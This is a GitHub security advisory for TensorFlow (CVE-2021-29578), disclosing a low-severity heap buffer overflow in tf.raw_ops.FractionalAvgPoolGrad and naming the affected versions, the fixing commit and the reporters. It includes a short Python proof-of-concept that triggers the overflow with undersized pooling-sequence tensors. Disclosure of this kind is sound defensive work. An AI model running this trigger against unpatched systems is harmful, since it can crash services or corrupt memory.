Heap buffer overflow in `FractionalAvgPoolGrad`

Low mihaimaruseac published GHSA-6f89-8j54-29xf on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow:

```
import tensorflow as tf

orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)
out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)


tf.raw_ops.FractionalAvgPoolGrad(
  orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,
  row_pooling_sequence=row_pooling_sequence,
  col_pooling_sequence=col_pooling_sequence, overlapping=False)
```

The implementation fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape.

Patches

We have patched the issue in GitHub commit 12c727cee857fa19be717f336943d95fca4ffe4f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29578

Weaknesses

No CWEs